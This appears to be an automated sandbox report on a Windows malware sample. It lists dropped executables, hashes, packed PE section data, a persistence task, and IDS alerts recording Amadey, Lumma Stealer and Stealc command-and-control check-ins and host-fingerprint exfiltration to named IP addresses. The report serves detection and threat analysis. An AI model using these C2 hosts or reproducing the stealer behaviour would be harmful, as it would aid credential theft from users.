File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1787392
Entropy (8bit):	7.946454334083652
Encrypted:	false
SSDEEP:	49152:TsqQXcq7cs07ezIdJupoh+sovtV1BXhifBQ+dXvLLbGdPmn:Ves7eEjupohb+tVXKXvTWa
MD5:	447B432C2A27E71E1053DA4D6D520222
SHA1:	F5207F5B7B143C1FE2B4EDB985EFB23D85DCB884
SHA-256:	B21584B91FAF4ACB978BD265E2F827D631017F328EB49B311F156F6BA008BD83
SHA-512:	BFBB1BC1379A4CA187BE7EF79F02C1720CCE3472C5880E454A1B08EFCC594DCAA28BBFC7F8EA07A47F32D1B6578C2FC3265A376590A6104AE60CB96E815EC7B9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................$........h...........@...........................h...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .@*...$......v..............@...dsxuiljp......O......x..............@...oscjiabv......h...... ..............@....taggant.0....h.."...$..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1857536
Entropy (8bit):	7.948990199179652
Encrypted:	false
SSDEEP:	49152:WHQYeDtCCGShbk+cqcpoQuAl/M5Pu5TdNy8N0S:W9WCx8bkpqcpolAu9mTdNy8S
MD5:	F119A5326D7EF739B4B499912B709BC8
SHA1:	9BAA232461198249F1FF54F401AF2EED8973AEC0
SHA-256:	61BAD5EDC639BCE6554B8F1D5A1AC6B00E93797F27F18F897C98EE21B72C790C
SHA-512:	44711DA74817C73FFAC6F3DBB6BE8C1CBF807AD2EA8BB403E152198630BD503A2F1AE644DD96A75D95898D142A486A05AC260EDE01A2484C57BEEE344AA93F04
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g..............................I...........@...........................I.....(.....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... .`*..........v..............@...okzfovcg....../......x..............@...ujgghjao......I......0..............@....taggant.0....I.."...6..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1787392
Entropy (8bit):	7.946454334083652
Encrypted:	false
SSDEEP:	49152:TsqQXcq7cs07ezIdJupoh+sovtV1BXhifBQ+dXvLLbGdPmn:Ves7eEjupohb+tVXKXvTWa
MD5:	447B432C2A27E71E1053DA4D6D520222
SHA1:	F5207F5B7B143C1FE2B4EDB985EFB23D85DCB884
SHA-256:	B21584B91FAF4ACB978BD265E2F827D631017F328EB49B311F156F6BA008BD83
SHA-512:	BFBB1BC1379A4CA187BE7EF79F02C1720CCE3472C5880E454A1B08EFCC594DCAA28BBFC7F8EA07A47F32D1B6578C2FC3265A376590A6104AE60CB96E815EC7B9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................$........h...........@...........................h...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .@*...$......v..............@...dsxuiljp......O......x..............@...oscjiabv......h...... ..............@....taggant.0....h.."...$..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922624
Entropy (8bit):	6.592468201260329
Encrypted:	false
SSDEEP:	24576:4qDEvCTbMWu7rQYlBQcBiT6rprG8a+RO:4TvC/MTQYxsWR7a+
MD5:	B607F667B23F2E1A00ED1246555F3F09
SHA1:	0C75FFFF839C4ECEAEB2B3C0AD13002D297DE76F
SHA-256:	44B1E5DA02727AC5F7547095C9CDD7E2B97812993E99E4FFEDDAACC9CD95289A
SHA-512:	59E08DAF9034065EE35AFE43D93470B3D98D30DA4A76CE9C00C455D4985D9D3AAE95EB617C540C0029B910F7C3D6B67C0E5F5B336B45514C88F7C779F183EBC1
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....Bg.........."..........d......w.............@..........................p............@...@.......@.....................d...\|....@..t........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...t....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2784256
Entropy (8bit):	6.458793375743167
Encrypted:	false
SSDEEP:	49152:huhAZDDcuicsNZbXDx/ZELi7sflRdhCz:IOZDDcutsNZbXDx/ZEEsth
MD5:	38F5CD89E8B865100E7F123B9E84E2A3
SHA1:	FC75E15EE0F5476A93A227172839B9846F804D1B
SHA-256:	B908490EEBCD33D505498B1A05E560D86DE224C3025E3DB179479850C71BCBC2
SHA-512:	10E5FA293787A3BD6B53ADF64756C333AFF344284820F9E4C317F722998FEC0B931971EF02903CD928CAB52DFF02C2BCD532B4C04E4DBEFDD861490AA6F56DF7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ....................... +.........`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...lwvfpqpj. .........:..............@...nnhflwrw. ..........V.............@....taggant.@......"...Z.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1973248
Entropy (8bit):	7.95170382308828
Encrypted:	false
SSDEEP:	49152:A1t85yCgjs/XJlrig6LfarKLYoorkGNlaK1C4:1Ajsv/rigDrKxorpna3
MD5:	EE9C5875F526C3F44381BEB36B6EAA62
SHA1:	423EA51703796DEF5F3449B68C8BC62298187766
SHA-256:	CD0973917F80520E71B932AA1C2AC651794B4DA6BA5CB85DE4E8910783D35690
SHA-512:	516A491737A3983832E22659F2DF44F88D2DD172FA142BF41282C2B56D12B7AC90147B6786491A0DBB77D18C71D1AE6B24BD0236530671E866B9A9FBDD12EE86
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................0N...........@..........................`N......r....@.................................W...k.......D.....................N...............................N..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .p,.........................@...cqnnvyhp..... 3.....................@...zjdghvcx..... N.....................@....taggant.0...0N.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9930
Entropy (8bit):	5.529644213218842
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6whj4qyaaX86KakfGNBw8dISl:deyquOcwV0
MD5:	0964DB4EEEB7F5AEA1B1D2B1BC80B7FB
SHA1:	9A23DC3C451B85CB152D898CA084A979D8E695A6
SHA-256:	A64F7EF64F5518EDD2D652EAD4247B27BBEA50901D6032665A0D347A62BEB703
SHA-512:	E6502535698D42FD8962FB56136489FC278FEAD1A3E5E915CAB84517BA2DE3A572637279A668DA73B02F29FF089EA32DCE2C84B002FF70F876885EC233F3F388
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9930
Entropy (8bit):	5.529644213218842
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6whj4qyaaX86KakfGNBw8dISl:deyquOcwV0
MD5:	0964DB4EEEB7F5AEA1B1D2B1BC80B7FB
SHA1:	9A23DC3C451B85CB152D898CA084A979D8E695A6
SHA-256:	A64F7EF64F5518EDD2D652EAD4247B27BBEA50901D6032665A0D347A62BEB703
SHA-512:	E6502535698D42FD8962FB56136489FC278FEAD1A3E5E915CAB84517BA2DE3A572637279A668DA73B02F29FF089EA32DCE2C84B002FF70F876885EC233F3F388
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.4277016506844866
Encrypted:	false
SSDEEP:	6:qwSEPllVXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lB4t0:FX/Rf2RKQ1CGAFAjzvYRQVB4t0
MD5:	21435222E27A05D89FF130D124AFE1C5
SHA1:	E0CBE15B7C7687D378D4E3C97A5645C7B56C55D2
SHA-256:	160D2FAFACCC2763F443857699AFBAB1D0081867AFDE6641219FE47D7247DE1F
SHA-512:	C8CA9C009A41CFA1E0DB15486AA271F2DE9A20DF28185AC1A99C0F49EED8FB3C50268D814AFF134B0D9221C1379ECF536CF527E8F8F1B7E72AAAAB23862CAE4E
Malicious:	false
Preview:	..........G....TJ..F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.95170382308828
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'973'248 bytes
MD5:	ee9c5875f526c3f44381beb36b6eaa62
SHA1:	423ea51703796def5f3449b68c8bc62298187766
SHA256:	cd0973917f80520e71b932aa1c2ac651794b4da6ba5cb85de4e8910783d35690
SHA512:	516a491737a3983832e22659f2df44f88d2dd172fa142bf41282c2b56d12b7ac90147b6786491a0dbb77d18c71d1ae6b24bd0236530671e866b9a9fbdd12ee86
SSDEEP:	49152:A1t85yCgjs/XJlrig6LfarKLYoorkGNlaK1C4:1Ajsv/rigDrKxorpna3
TLSH:	5195332AB5F723B8C534447E679967996A3BE1B489073BC0A8CCFE61500375652E8FC3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8e3000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F7A4880746Ah
psubd mm3, qword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0400000Ah], al
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x344	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4e1fd4	0x10	cqnnvyhp
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4e1f84	0x18	cqnnvyhp
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	bc15a77cd2d3a455dc74d9141fef582e	False	0.9981320248637602	data	7.9817209633517745	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x344	0x400	982623c07c43a8169da5c3bd55ce4d06	False	0.4345703125	data	5.395849414192414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2c7000	0x200	2fcdceeec2802d1bf3a8bc4ca0fcee49	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cqnnvyhp	0x332000	0x1b0000	0x1b0000	db8a2e8ff8d3a3026f036a19f350c3d4	False	0.9946645100911459	data	7.9536412081511365	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zjdghvcx	0x4e2000	0x1000	0x400	29f8ede49e2cd3d476f2b33a1172a0b5	False	0.671875	data	5.469473955015874	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4e3000	0x3000	0x2200	acdafee9b8bffe8990c7b94257d13edc	False	0.09018841911764706	DOS executable (COM)	0.9658287401290515	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x152	ASCII text, with CRLF line terminators			0.6479289940828402
RT_MANIFEST	0x691c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T18:22:05.976854+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49742	185.215.113.43	80	TCP
2024-11-23T18:22:10.470866+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49755	185.215.113.16	80	TCP
2024-11-23T18:22:16.002386+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49754	TCP
2024-11-23T18:22:16.529827+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49771	172.67.162.84	443	TCP
2024-11-23T18:22:17.244699+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49771	172.67.162.84	443	TCP
2024-11-23T18:22:17.244699+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49771	172.67.162.84	443	TCP
2024-11-23T18:22:17.344270+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49772	185.215.113.43	80	TCP
2024-11-23T18:22:18.594871+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49778	172.67.162.84	443	TCP
2024-11-23T18:22:18.857932+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49779	185.215.113.16	80	TCP
2024-11-23T18:22:19.299810+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49778	172.67.162.84	443	TCP
2024-11-23T18:22:19.299810+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49778	172.67.162.84	443	TCP
2024-11-23T18:22:21.329666+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49785	172.67.162.84	443	TCP
2024-11-23T18:22:23.973268+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49791	172.67.162.84	443	TCP
2024-11-23T18:22:26.043535+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49794	185.215.113.43	80	TCP
2024-11-23T18:22:26.159902+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49793	185.215.113.206	80	TCP
2024-11-23T18:22:26.473847+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49798	172.67.162.84	443	TCP
2024-11-23T18:22:27.651025+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	185.215.113.16	80	TCP
2024-11-23T18:22:28.993594+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49805	172.67.162.84	443	TCP
2024-11-23T18:22:29.452381+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49806	172.67.162.84	443	TCP
2024-11-23T18:22:29.712318+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49805	172.67.162.84	443	TCP
2024-11-23T18:22:29.712318+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49805	172.67.162.84	443	TCP
2024-11-23T18:22:31.075120+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49812	172.67.162.84	443	TCP
2024-11-23T18:22:31.982887+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49812	172.67.162.84	443	TCP
2024-11-23T18:22:31.982887+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49812	172.67.162.84	443	TCP
2024-11-23T18:22:32.576178+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49814	172.67.162.84	443	TCP
2024-11-23T18:22:33.382505+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49819	185.215.113.43	80	TCP
